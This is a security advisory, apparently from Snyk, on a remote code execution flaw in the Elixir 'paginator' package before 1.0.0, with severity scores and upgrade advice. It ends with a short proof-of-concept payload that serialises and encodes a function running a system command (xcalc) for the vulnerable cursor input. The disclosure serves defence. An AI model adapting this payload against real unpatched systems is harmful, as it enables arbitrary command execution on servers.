Remote Code Execution (RCE) Affecting paginator package, versions <1.0.0


0.0
critical

Snyk CVSS

    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 6.14% (94th percentile)
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NVD
9.8 critical

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  • Snyk ID SNYK-HEX-PAGINATOR-1086684
  • published 30 Mar 2021
  • disclosed 18 Aug 2020
  • credit Peter Stöckli

How to fix?

Upgrade paginator to version 1.0.0 or higher.

Overview

paginator is a package that enables cursor-based pagination for Elixir Ecto.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via paginate() function when untrusted input is passed from a remote user.

PoC

defp rce_start_xcalc() do
    exploit = fn _, _ ->  System.cmd("xcalc", []); {:cont, []} end
    payload =
    exploit
    |> :erlang.term_to_binary()
    |> Base.url_encode64()
end